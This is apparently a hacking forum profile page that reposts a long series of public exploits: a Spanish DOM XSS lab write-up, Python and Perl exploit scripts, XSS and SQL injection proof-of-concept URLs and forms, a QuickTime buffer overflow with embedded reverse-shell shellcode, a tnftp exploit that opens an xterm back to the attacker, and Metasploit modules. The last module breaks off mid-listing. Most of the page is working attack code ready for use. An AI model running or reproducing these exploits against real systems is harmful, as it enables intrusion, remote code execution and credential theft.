
Everything posted by HireHackking
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DOM XSS in innerHTML sink using source location.search – PortSwigger Write Up
En este post vamos a estar resolviendo el laboratorio: “DOM XSS in innerHTML sink using source location.search”. Lo primero de todo como siempre es acceder al laboratorio: Una vez accedidos, vemos una barra de búsqueda. Por lo que vamos a buscar cualquier cosa: Si nos fijamos, lo que hemos buscado se ve reflejado en la web. Y si damos click derecho y vemos la parte del código fuente donde se situa, vemos que se almacena en el innerHTML del tag <span>. Por lo que conociendo esto, podemos intentar usar en la búsqueda un payload especialmente diseñado para escaparnos de este tag, y ejecutar código Javascript. Por ejemplo, usaremos el siguiente payload: </span><img src=/ onerror=alert(1) />// Al buscar por él, podemos ver como se nos ejecuta con éxito el payload. Hemos pasado de: <span id=”searchMessage”>hola</span> a: <span id=”searchMessage”></span><img src=/ onerror=alert(1) />//</span> De esta forma, y consiguiendo esta ejecución, conseguimos resolver el laboratorio:
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Thomson Reuters Fixed Assets CS 13.1.4 - Local Privilege Escalation
# Exploit Title: Thomson Reuters Fixed Assets CS <=13.1.4 Local Privilege Escalation/Code Execution # Date: 12/1/14 # Exploit Author: singularitysec@gmail.com # Vendor Homepage: https://cs.thomsonreuters.com # Version: Fixed Assets CS <=13.1.4 Local Privilege Escalation/Code Execution # Tested on: Windows XP -> Windows 7, Windows 8 # CVE : 2014-9141 Product Affected: Fixed Assets CS <=13.1.4 (Workstation Install) Note: 2003/2008 Terminal Services/Published apps **may** be vulnerable, depending on system configuration. This vulnerability has been reference checked against multiple installs. This configuration was identical across all systems and each version encountered. Executables/Services: C:\WinCSI\Tools\connectbgdl.exe Attack Detail: The Fixed Assets CS installer places a system startup item at C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup Which then executes the utility at C:\WinCSI\Tools\connectbgdl.exe. The executables that are installed, by default, allow AUTHENTICATED USERS to modify, replace or alter the file. This would allow an attacker to inject their code or replace the executable and have it run in the context of an authenticated user. An attacker can use this to escalate privileges to the highest privileged level of user to sign on to the system. This would require them to stop the vulnerable executable or reboot the system. The executable appears to only allow on instance to be executed at a time by default, the attacker would need to restart or kill the process. These are the default settings for this process. This could compromise a machine on which it was installed, giving the process/attacker access to the machine in question or execute code as that user. An attacker can replace the file or append code to the executable, reboot the system or kill the process and it would then compromise the machine when a higher privileged user (administrator) logged in. This affects workstation builds. It may be possible on legacy servers/published application platforms but this was not tested. Remediation: Remove the modify/write permissions on the executables to allow only privileged users to alter the files. Apply vendor patch when distributed. Vulnerability Discovered: 11/27/2014 Vendor Notified: 12/1/2014 Website: www.information-paradox.net This vulnerability was discovered by singularitysec@gmail.com. Please credit the author in all references to this exploit.
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ProjectSend r-561 - Arbitrary File Upload
#!/usr/bin/python # Exploit Title: ProjectSend r-651 File Upload # Date: December 01, 2014 # Exploit Author: Fady Mohamed Osman (Exploit-db id:2986) # Vendor Homepage: http://www.projectsend.org/ # Software Link: http://www.projectsend.org/download/67/ # Version: r-561 # Tested on: Kubuntu 14.10 x64 import sys import requests scriptName = sys.argv[0] if (len(sys.argv) != 3): print "Please enter the target path and the file to upload." print "Example : " + scriptName + " http://10.0.0.2/ProjectSend-r561 c99.php" quit() print "Exploiting ProjectSend-r561 File Upload .." url = sys.argv[1] + "/" + 'process-upload.php' + '?name=' + sys.argv[2] print "Sending Url " + url files = {'file': open(sys.argv[2], 'rb')} r = requests.post(url, files=files) print r.text
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tnftp (FreeBSD 8/9/10) - 'tnftp' Client Side
#!/usr/bin/env python2 # # Exploit Title: [tnftp BSD exploit] # Date: [11/29/2014] # Exploit Author: [dash] # Vendor Homepage: [www.freebsd.org] # Version: [FreeBSD 8/9/10] # Tested on: [FreeBSD 9.3] # CVE : [CVE-2014-8517] # tnftp exploit (CVE-2014-8517)tested against freebsd 9.3 # https://www.freebsd.org/security/advisories/FreeBSD-SA-14:26.ftp.asc # # 29 Nov 2014 by dash@hack4.org # # usage: # # redirect the vulnerable ftp client requests for http to your machine # # client will do something like: # ftp http://ftp.freebsd.org/data.txt # # you will intercept the dns request and redirect victim to your fake webserver ip # # attacker: start on 192.168.2.1 Xnest: Xnest -ac :1 # probably do also xhost+victimip # # attacker: python CVE-2014-8517.py 192.168.1.1 81 192.168.1.1 # # sadly you cannot put a slash behind the | also www-encoded is not working # plus problems with extra pipes # this renders a lot of usefull commands useless # so xterm -display it was ;) # # *dirty* *dirdy* *dyrdy* *shell* ! # import os import sys import time import socket def usage(): print "CVE-2014-8517 tnftp exploit" print "by dash@hack4.org in 29 Nov 2014" print print "%s <redirect ip> <redirect port> <reverse xterm ip>"% (sys.argv[0]) print "%s 192.168.1.1 81 192.168.2.1"% (sys.argv[0]) #bind a fake webserver on 0.0.0.0 port 80 def webserveRedirect(redirect): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(("0.0.0.0",80)) s.listen(3) h, c = s.accept() #wait for request #print h.recv(1024) #send 302 print "[+] Sending redirect :>" h.send(redirect) s.close() return 0 #bind a fake webserver on port %rport def deliverUgga(owned): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(("0.0.0.0",rport)) s.listen(3) h, c = s.accept() # print h.recv(1024) print "[+] Deliver some content (shell is spwaned now)" h.send(owned) s.close() return 0 owned="""HTTP/1.1 200 Found Date: Fri, 29 Nov 2014 1:00:03 GMT Server: Apache Vary: Accept-Encoding Content-Length: 5 Connection: close Content-Type: text/html; charset=iso-8859-1 ugga ugga """ if(os.getuid())!=0: print "[-] Sorry, you need root to bind port 80!" sys.exit(1) if len(sys.argv)<3: usage() sys.exit(1) rip = sys.argv[1] rport = int(sys.argv[2]) revip = sys.argv[3] print "[+] Starting tnftp BSD client side exploit (CVE-2014-8517)" print "[+] Dont forget to run Xnest -ac :1" # ok, lets use xterm -display cmd = "xterm -display %s:1" % (revip) cmd = cmd.replace(" ","%20") print "[+] Payload: [%s]" % cmd redirect = "HTTP/1.1 302\r\n"\ "Content-Type: text/html\r\n"\ "Connection: keep-alive\r\n"\ "Location: http://%s:%d/cgi-bin/|%s\r\n"\ "\r\n\r\n" % (rip,rport,cmd) #child process owned data delivery uggapid = os.fork() if uggapid == 0: uggapid = os.getpid() deliverUgga(owned) else: #child proces for webserver redirect webpid = os.fork() if webpid == 0: webpid = os.getpid() webserveRedirect(redirect) #childs, come home! try: os.waitpid(webpid,0) except: pass try: os.waitpid(uggapid,0) except: pass #oh wait :> time.sleep(5)
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SQL Buddy 1.3.3 - Remote Code Execution
# Exploit Title: SQL Buddy Remote Code Execution # Date: November 29 2014 # Exploit Author: Fady Osman (@fady_osman) # Youtube Channel : https://www.youtube.com/user/cutehack3r # Vendor Homepage: http://sqlbuddy.com/ # Software Link: https://github.com/calvinlough/sqlbuddy/raw/gh-pages/sqlbuddy.zip # Version: SQL Buddy 1.3.3 # Tested on: Kubuntu 14.10 SQLBuddy provides a web based mysql administration and it's included in packages like wamp server. SQL Buddy suffers from a remote code execution. This happens due to the fact that it allows the user to login using any server he wants and that it allows the user to export data from the database to a file on the webserver. In order to exploit this bug do the following steps: 1- Use a sql server you control and have a valid credentials for (You can use one of the free mysql hosting services). 2- Create a database and a table with one column of type text. 3- Insert the php code you want to execute into that table. 4- Choose the previously created table from the left menu. 5- Click Export from the top menu. 6- Choose CSV format. 7- Choose "Text File" and name the file with php extension for example shell.php. The exported file will be at : sqlbuddy/exports/ assuming you installed sqlbuddy in a folder named sqlbuddy. -- *Regards,* [image: Fady Osman on about.me] Fady Osman about.me/Fady_Osman <http://about.me/Fady_Osman>
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WordPress Plugin PhotoSmash Galleries 1.0.x - 'action' Cross-Site Scripting
source: https://www.securityfocus.com/bid/46782/info The PhotoSmash Galleries WordPress Plugin is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. PhotoSmash Galleries WordPress Plugin 1.0.1 is vulnerable; other versions may also be affected. http://www.example.com/wp-content/plugins/photosmash-galleries/index.php?action=%3Cscript%3Ealert%28%22XSS%22%29;%3C/script%3E
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WordPress Plugin 1 Flash Gallery 0.2.5 - Cross-Site Scripting / SQL Injection
source: https://www.securityfocus.com/bid/46783/info 1 Flash Gallery is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability. Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 1 Flash Gallery 0.2.5 is vulnerable; other versions may also be affected. http://www.example.com/wp-content/plugins/1-flash-gallery/folder.php?type=%22%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E <form action="http://[host]/wp-content/plugins/1-flash-gallery/massedit_album.php" method="post" name="main" > <input type="hidden" name="album_id" value="1" /> <input type="hidden" name="images" value="1" /> <input type="hidden" name="gall_id" value="SQL_CODE_HERE" /> <input type="submit" value="submit" name="submit" />
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Ruubikcms 1.0.3 - 'head.php' Cross-Site Scripting
source: https://www.securityfocus.com/bid/46794/info RuubikCMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. RuubikCMS 1.0.3 is vulnerable; other versions may also be affected. http://www.example.com/ruubikcms/cms/includes/head.php?cmspage=</title><script>alert(123);</script>
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Wireshark 1.4.3 - NTLMSSP Null Pointer Dereference Denial of Service
source: https://www.securityfocus.com/bid/46796/info Wireshark is prone to a remote denial-of-service vulnerability caused by a NULL-pointer dereference error. An attacker can exploit this issue to crash the application, resulting in a denial-of-service condition. https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/35432.pcap
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Apple QuickTime 7.5 - '.m3u' Remote Stack Buffer Overflow
source: https://www.securityfocus.com/bid/46799/info Apple QuickTime is prone to a stack-based buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data. An attacker can exploit this issue to execute arbitrary code in the context of the affected application. Failed exploit attempts will likely result in denial-of-service conditions. QuickTime 7.5.x is vulnerable; other versions may also be affected. #!/usr/bin/perl ### # Title : QuickTime Player v 7.5.x (m3u) Stack Buffer Overflow # Author : KedAns-Dz # E-mail : ked-h@hotmail.com # Home : HMD/AM (30008/04300) - Algeria -(00213555248701) # Twitter page : twitter.com/kedans # platform : Windows # Impact : Remote Access and BOF # Tested on : Windows XP SP3 Français # Target : QuickTime Player v 7.5.x ### # Note : BAC 2011 Enchallah ( Me & BadR0 & Dr.Ride & Red1One & XoreR & Fox-Dz ... all ) # ------------ #START SYSTEM /root@MSdos/ : system("title KedAns-Dz"); system("color 1e"); system("cls"); print "\n\n"; print " |===========================================================|\n"; print " |= [!] Name : QuickTime Player v 7.5.x (m3u) / Apple Inc. =|\n"; print " |= [!] Exploit : Stack Buffer Overflow =|\n"; print " |= [!] Author : KedAns-Dz =|\n"; print " |= [!] Mail: Ked-h(at)hotmail(dot)com =|\n"; print " |===========================================================|\n"; sleep(2); print "\n"; print " [!] Please Wait Loading...\n"; # Payload Parameter (http://www.metasploit.com) # windows/shell_reverse_tcp - 739 bytes # Encoder: x86/alpha_mixed # LHOST=127.0.0.1, LPORT=4444, ReverseConnectRetries=5, => my $payload = "\x56\x54\x58\x36\x33\x30\x56\x58\x48\x34\x39\x48\x48\x48" . "\x50\x68\x59\x41\x41\x51\x68\x5a\x59\x59\x59\x59\x41\x41" . "\x51\x51\x44\x44\x44\x64\x33\x36\x46\x46\x46\x46\x54\x58" . "\x56\x6a\x30\x50\x50\x54\x55\x50\x50\x61\x33\x30\x31\x30" . "\x38\x39\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49" . "\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41" . "\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42" . "\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4b\x4c\x4d" . "\x38\x4e\x69\x47\x70\x43\x30\x45\x50\x45\x30\x4d\x59\x4a" . "\x45\x45\x61\x48\x52\x43\x54\x4e\x6b\x50\x52\x50\x30\x4c" . "\x4b\x51\x42\x46\x6c\x4e\x6b\x46\x32\x46\x74\x4c\x4b\x50" . "\x72\x46\x48\x46\x6f\x4f\x47\x43\x7a\x51\x36\x46\x51\x49" . "\x6f\x46\x51\x4f\x30\x4e\x4c\x47\x4c\x43\x51\x43\x4c\x43" . "\x32\x44\x6c\x47\x50\x4f\x31\x48\x4f\x46\x6d\x43\x31\x49" . "\x57\x48\x62\x4c\x30\x51\x42\x42\x77\x4c\x4b\x50\x52\x42" . "\x30\x4c\x4b\x43\x72\x45\x6c\x46\x61\x4a\x70\x4c\x4b\x43" . "\x70\x43\x48\x4e\x65\x4b\x70\x42\x54\x50\x4a\x45\x51\x48" . "\x50\x46\x30\x4e\x6b\x50\x48\x45\x48\x4e\x6b\x51\x48\x51" . "\x30\x45\x51\x48\x53\x48\x63\x47\x4c\x43\x79\x4e\x6b\x47" . "\x44\x4e\x6b\x46\x61\x4b\x66\x50\x31\x4b\x4f\x44\x71\x4f" . "\x30\x4e\x4c\x49\x51\x4a\x6f\x46\x6d\x46\x61\x4f\x37\x46" . "\x58\x4d\x30\x42\x55\x4a\x54\x46\x63\x43\x4d\x4c\x38\x47" . "\x4b\x51\x6d\x44\x64\x44\x35\x49\x72\x43\x68\x4c\x4b\x50" . "\x58\x45\x74\x47\x71\x48\x53\x51\x76\x4e\x6b\x46\x6c\x42" . "\x6b\x4c\x4b\x42\x78\x47\x6c\x45\x51\x48\x53\x4e\x6b\x45" . "\x54\x4c\x4b\x47\x71\x48\x50\x4f\x79\x42\x64\x44\x64\x47" . "\x54\x51\x4b\x51\x4b\x43\x51\x50\x59\x43\x6a\x46\x31\x4b" . "\x4f\x4d\x30\x50\x58\x43\x6f\x43\x6a\x4c\x4b\x45\x42\x48" . "\x6b\x4e\x66\x43\x6d\x42\x48\x50\x33\x44\x72\x45\x50\x43" . "\x30\x51\x78\x42\x57\x42\x53\x46\x52\x43\x6f\x50\x54\x43" . "\x58\x42\x6c\x44\x37\x44\x66\x45\x57\x49\x6f\x48\x55\x48" . "\x38\x4c\x50\x47\x71\x45\x50\x47\x70\x47\x59\x4b\x74\x51" . "\x44\x42\x70\x42\x48\x44\x69\x4d\x50\x42\x4b\x43\x30\x49" . "\x6f\x48\x55\x50\x50\x42\x70\x50\x50\x42\x70\x47\x30\x42" . "\x70\x43\x70\x50\x50\x43\x58\x48\x6a\x44\x4f\x49\x4f\x4d" . "\x30\x49\x6f\x4b\x65\x4e\x69\x48\x47\x42\x48\x43\x4f\x45" . "\x50\x43\x30\x47\x71\x43\x58\x43\x32\x45\x50\x44\x51\x43" . "\x6c\x4e\x69\x4a\x46\x51\x7a\x42\x30\x51\x46\x43\x67\x42" . "\x48\x4d\x49\x4e\x45\x51\x64\x51\x71\x49\x6f\x4e\x35\x50" . "\x68\x42\x43\x42\x4d\x42\x44\x47\x70\x4c\x49\x48\x63\x51" . "\x47\x51\x47\x51\x47\x50\x31\x4b\x46\x51\x7a\x47\x62\x51" . "\x49\x50\x56\x4d\x32\x49\x6d\x50\x66\x4f\x37\x42\x64\x46" . "\x44\x45\x6c\x47\x71\x43\x31\x4c\x4d\x50\x44\x51\x34\x42" . "\x30\x4a\x66\x43\x30\x43\x74\x50\x54\x42\x70\x43\x66\x43" . "\x66\x51\x46\x47\x36\x46\x36\x42\x6e\x50\x56\x46\x36\x42" . "\x73\x43\x66\x50\x68\x44\x39\x48\x4c\x47\x4f\x4b\x36\x4b" . "\x4f\x48\x55\x4c\x49\x4b\x50\x50\x4e\x42\x76\x43\x76\x49" . "\x6f\x50\x30\x42\x48\x43\x38\x4c\x47\x47\x6d\x43\x50\x49" . "\x6f\x4e\x35\x4f\x4b\x4a\x50\x4d\x65\x4d\x72\x51\x46\x51" . "\x78\x4d\x76\x4e\x75\x4f\x4d\x4d\x4d\x4b\x4f\x48\x55\x47" . "\x4c\x46\x66\x43\x4c\x45\x5a\x4b\x30\x49\x6b\x49\x70\x43" . "\x45\x45\x55\x4d\x6b\x51\x57\x44\x53\x43\x42\x42\x4f\x51" . "\x7a\x47\x70\x46\x33\x4b\x4f\x49\x45\x41\x41"; #_ End Payload _ # Parameter OverFlow => my $eip = pack('V',0x7C86467B); # Jump ESP from kernel32.dll my $usmh = "\x90" x (50 - length($eip)); # Pack Length x 50 my $ret = pack('V',0x040904b0); # Jump to ESP from QTOControl.dll $junk = "\x41" x 333 ; # Junk # immiXing Parameters >>> $kedans = $junk.$usmh.$ret.$payload ; # Evil KedAns # >> Creating ... open (FILE ,"> Bo0M.m3u"); print FILE $kedans ; print "\nFile successfully created!\n" or die print "\n OpsS! File is Not Created !! "; close (FILE); #================[ Exploited By KedAns-Dz * HST-Dz * ]========================= # GreetZ to : Islampard * Dr.Ride * Zaki.Eng * BadR0 * NoRo FouinY * Red1One # XoreR * Mr.Dak007 * Hani * TOnyXED * Fox-Dz * Massinhou-Dz ++ all my friends ; # > Algerians < [D] HaCkerS-StreeT-Team [Z] > Hackers < # My Friends on Facebook : Nayla Festa * Dz_GadlOl * MatmouR13 ...all Others # 4nahdha.com : TitO (Dr.Ride) * MEN_dz * Mr.LAK (Administrator) * all members ... # sec4ever.com members Dz : =>> # Ma3sTr0-Dz * Indoushka * MadjiX * BrOx-Dz * JaGo-Dz ... all Others # hotturks.org : TeX * KadaVra ... all Others # Kelvin.Xgr ( kelvinx.net) #===========================================================================
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WebKit 1.2.x - Local Webpage Cross Domain Information Disclosure
source: https://www.securityfocus.com/bid/46816/info WebKit is prone to a cross-domain scripting vulnerability because it fails to properly enforce the same-origin policy. Successfully exploiting this issue will allow attackers to send the content of arbitrary files from the user's system to a remote server controlled by them. This results in disclosure of potentially sensitive information which may aid in further attacks. https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/35434.zip
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WordPress Plugin Lazyest Gallery 1.0.26 - 'image' Cross-Site Scripting
source: https://www.securityfocus.com/bid/46823/info The Lazyest Gallery WordPress Plugin is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. Lazyest Gallery WordPress Plugin 1.0.26 is vulnerable; other versions may also be affected. http://www.example.com/wp-content/plugins/lazyest-gallery/lazyest-popup.php?image=%3C/title%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
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Xinha 0.96 - 'spell-check-savedicts.php' Multiple HTML Injection Vulnerabilities
source: https://www.securityfocus.com/bid/46825/info Xinha is prone to multiple HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input. Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible. Xinha 0.96.1 is vulnerable; prior versions may also be affected. Note that applications that use vulnerable versions of Xinha may also be affected. http://www.example.com/wikiwig5.01/_wk/Xinha/plugins/SpellChecker/spell-check-savedicts.php?to_r_list=%3Cscript%3Ealert(0)%3C%2fscript%3E
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Air Contacts Lite - HTTP Packet Denial of Service
source: https://www.securityfocus.com/bid/46827/info Air Contacts Lite is prone a denial-of-service vulnerability. Successful exploits may allow an attacker to crash the affected application, resulting in a denial-of-service condition. #!/usr/bin/perl use IO::Socket; if (@ARGV < 1) { usage(); } $ip = $ARGV[0]; $port = $ARGV[1]; print "[+] Sending request...\n"; $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "[-] Connection FAILED!\n"; print $socket "GET http://www.example.com. HTTP/1.1\r\n"; print $socket "Host: http://www.example.com.\r\n"; print $socket "Content-Length: 0\x78\x41\x71\x69\r\n\r\n"; sleep(2); close($socket); print "[+] Done!\n"; sub usage() { print "[-] example - Air Contacts Lite (DoS)\n\n"; print "[-] Usage: <". $0 ."> <host> <port>\n"; print "[-] Example: ". $0 ." 127.0.0.1 80\n"; exit; }
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Cosmoshop 10.05.00 - Multiple Cross-Site Scripting / SQL Injections
source: https://www.securityfocus.com/bid/46828/info CosmoShop is prone to multiple cross-site scripting vulnerabilities and an SQL-injection vulnerability because the application fails to sufficiently sanitize user-supplied input. Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. CosmoShop ePRO V10.05.00 is vulnerable; other versions may also be affected. http://www.example.com/cgi-bin/admin/index.cgi?action=menu&id=eco'+SQL_CODE&hId=eco <form action="http://www.example.com/cgi-bin/admin/edit_startseitentext.cgi" method="post" name="main" enctype="multipart/form-data"> <input type="hidden" name="setup" value="allgemein"> <input type="hidden" name="action" value="save"> <input type="hidden" name="use_wwe" value="1"> <input type="hidden" name="file-de" value="startseitentext_de.txt"> <input type="hidden" name="text-de" value='page html"><script>alert(document.cookie)</script>'> </form> <script> document.main.submit(); </script> http://www.example.com/cgi-bin/admin/rubrikadmin.cgi?action=edit&rubnum=angebote&rcopy="><script>alert(document.cookie)</script>&expand=,angebote http://www.example.com/cgi-bin/admin/artikeladmin.cgi?action=artikelsuche&typ=bearbeiten"><script>alert(document.cookie)</script>&hId=daten.artikel http://www.example.com/cgi-bin/admin/shophilfe_suche.cgi?sprache=de&suchbegriff=1"><script>alert(document.cookie)</script> <form action="http://www.example.com/cgi-bin/admin/setup_edit.cgi" method="post" name="main"> <input type="hidden" name="setup" value="allgemein"> <input type="hidden" name="hId" value="setup.einstellungen.allgemein"> <input type="hidden" name="setup_key" value="allgemein"> <input type="hidden" name="shoptitel" value="Cosmoshop Shopsoftware 10.x"> <input type="hidden" name="shopbetreiber" value="email@example.com"> <input type="hidden" name="shop_bestellempfaenger" value="email@example.com"> <input type="hidden" name="anfrage_mail" value="email@example.com"> <input type="hidden" name="shop_umstid" value="DE12345678"> <input type="hidden" name="shop_eg" value="1"> <input type="hidden" name="auftragszaehler" value="1"> <input type="hidden" name="hauptwaehrung" value='EUR"><script>alert(document.cookie)</script>'> <input type="hidden" name="nebenwaehrung" value="$"> <input type="hidden" name="eurofaktor" value="0.7"> <input type="hidden" name="mindestpreisdm" value="10"> <input type="hidden" name="emis_bestellempfaenger" value=""> <input type="hidden" name="afs_bestellempfaenger" value=""> <input type="hidden" name="ean_in_ausf" value="1"> <input type="hidden" name="google_verify_code" value=""> <input type="hidden" name="save_it" value="abspeichern"> </form> <script> document.main.submit(); </script>
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WordPress Plugin Nextend Facebook Connect 1.4.59 - Cross-Site Scripting
# Exploit Title: Nextend Facebook Connect 1.4.59 XSS # Date: 16-10-2014 # Exploit Author: Kacper Szurek - http://security.szurek.pl/ http://twitter.com/KacperSzurek # Software Link: https://downloads.wordpress.org/plugin/nextend-facebook-connect.1.4.59.zip # Category: webapps # CVE: CVE-2014-8800 1. Description Anyone can change plugin settings. File: nextend-facebook-connect\nextend-facebook-settings.php if(isset($_POST['newfb_update_options'])) { if($_POST['newfb_update_options'] == 'Y') { foreach($_POST AS $k => $v){ $_POST[$k] = stripslashes($v); } update_option("nextend_fb_connect", maybe_serialize($_POST)); $newfb_status = 'update_success'; } } http://security.szurek.pl/nextend-facebook-connect-1459-xss.html 2. Proof of Concept <form method="post" action="http://wordpress-instalation"> <input type="hidden" name="newfb_update_options" value="Y"> XSS: <textarea name="fb_login_button" rows="10" cols="40"><img src=x onerror=alert(String.fromCharCode(88,83,83))></textarea> <input type="submit" value="Hack!"> </form> 3. Solution: Update to version 1.5.1 https://downloads.wordpress.org/plugin/nextend-facebook-connect.1.5.1.zip https://wordpress.org/plugins/nextend-facebook-connect/changelog/
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Apple Mac OSX - IOKit Keyboard Driver Privilege Escalation (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex' class Metasploit3 < Msf::Exploit::Local Rank = ManualRanking # Can cause kernel crash include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => 'Mac OS X IOKit Keyboard Driver Root Privilege Escalation', 'Description' => %q{ A heap overflow in IOHIKeyboardMapper::parseKeyMapping allows kernel memory corruption in Mac OS X before 10.10. By abusing a bug in the IORegistry, kernel pointers can also be leaked, allowing a full kASLR bypass. Tested on Mavericks 10.9.5, and should work on previous versions. The issue has been patched silently in Yosemite. }, 'License' => MSF_LICENSE, 'Author' => [ 'Ian Beer', # discovery, advisory, publication, and a most excellent blog post 'joev' # copy/paste monkey ], 'References' => [ [ 'CVE', '2014-4404' ], [ 'URL', 'http://googleprojectzero.blogspot.com/2014/11/pwn4fun-spring-2014-safari-part-ii.html' ], # Heap overflow: [ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=40' ], # kALSR defeat: [ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=126' ] ], 'Platform' => 'osx', 'Arch' => ARCH_X86_64, 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [ [ 'Mac OS X 10.9.5 Mavericks x64 (Native Payload)', { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Sep 24 2014' )) end def check if ver_lt(osx_ver, "10.10") Exploit::CheckCode::Vulnerable else Exploit::CheckCode::Safe end end def exploit exploit_path = File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2014-4404') binary_exploit = File.read(File.join(exploit_path, 'key_exploit')) binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded) exploit_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}" payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}" print_status("Writing exploit file as '#{exploit_file}'") write_file(exploit_file, binary_exploit) register_file_for_cleanup(exploit_file) print_status("Writing payload file as '#{payload_file}'") write_file(payload_file, binary_payload) register_file_for_cleanup(payload_file) print_status("Executing payload...") cmd_exec("chmod +x #{exploit_file}") cmd_exec("chmod +x #{payload_file}") cmd_exec("#{exploit_file} #{payload_file}") end def osx_ver cmd_exec("sw_vers -productVersion").to_s.strip end def ver_lt(a, b) Gem::Version.new(a) < Gem::Version.new(b) end end
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Tincd - (Authenticated) Remote TCP Stack Buffer Overflow (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'securerandom' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::EXE include Msf::Exploit::Remote::TincdExploitClient def initialize(info = {}) super(update_info(info, 'Name' => 'Tincd Post-Authentication Remote TCP Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Tinc's tincd service. After authentication, a specially crafted tcp packet (default port 655) leads to a buffer overflow and allows to execute arbitrary code. This module has been tested with tinc-1.1pre6 on Windows XP (custom calc payload) and Windows 7 (windows/meterpreter/reverse_tcp), and tinc version 1.0.19 from the ports of FreeBSD 9.1-RELEASE # 0 and various other OS, see targets. The exploit probably works for all versions <= 1.1pre6. A manually compiled version (1.1.pre6) on Ubuntu 12.10 with gcc 4.7.2 seems to be a non-exploitable crash due to calls to __memcpy_chk depending on how tincd was compiled. Bug got fixed in version 1.0.21/1.1pre7. While writing this module it was recommended to the maintainer to start using DEP/ASLR and other protection mechanisms. }, 'Author' => [ # PoC changes (mostly reliability), port python to ruby, exploitation including ROP, support for all OS, metasploit module 'Tobias Ospelt <tobias[at]modzero.ch>', # @floyd_ch # original finding, python PoC crash 'Martin Schobert <schobert[at]modzero.ch>' # @nitram2342 ], 'References' => [ ['CVE', '2013-1428'], ['OSVDB', '92653'], ['BID', '59369'], ['URL', 'http://www.floyd.ch/?p=741'], ['URL', 'http://sitsec.net/blog/2013/04/22/stack-based-buffer-overflow-in-the-vpn-software-tinc-for-authenticated-peers/'], ['URL', 'http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1428'] ], 'DefaultOptions' => { 'EXITFUNC' => 'process' }, 'Payload' => { 'Space' => 1675, 'DisableNops' => true }, 'Privileged' => true, 'Targets' => [ # full exploitation x86: ['Windows XP x86, tinc 1.1.pre6 (exe installer)', { 'Platform' => 'win', 'Ret' => 0x0041CAA6, 'offset' => 1676 }], ['Windows 7 x86, tinc 1.1.pre6 (exe installer)', { 'Platform' => 'win', 'Ret' => 0x0041CAA6, 'offset' => 1676 }], ['FreeBSD 9.1-RELEASE # 0 x86, tinc 1.0.19 (ports)', { 'Platform' => 'bsd', 'Ret' => 0x0804BABB, 'offset' => 1676 }], ['Fedora 19 x86 ROP (NX), write binary to disk payloads, tinc 1.0.20 (manual compile)', { 'Platform' => 'linux', 'Arch' => ARCH_X86, 'Ret' => 0x4d10ee87, 'offset' => 1676 } ], ['Fedora 19 x86 ROP (NX), CMD exec payload, tinc 1.0.20 (manual compile)', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Ret' => 0x4d10ee87, 'offset' => 1676 } ], ['Archlinux 2013.04.01 x86, tinc 1.0.20 (manual compile)', { 'Platform' => 'linux', 'Ret' => 0x08065929, 'offset' => 1676 }], ['OpenSuse 11.2 x86, tinc 1.0.20 (manual compile)', { 'Platform' => 'linux', 'Ret' => 0x0804b07f, 'offset' => 1676 }], # full exploitation ARM: ['Pidora 18 ARM ROP(NX)/ASLR brute force, write binary to disk payloads, tinc 1.0.20 (manual compile with restarting daemon)', { 'Platform' => 'linux', 'Arch' => ARCH_ARMLE, 'Ret' => 0x00015cb4, 'offset' => 1668 } ], ['Pidora 18 ARM ROP(NX)/ASLR brute force, CMD exec payload, tinc 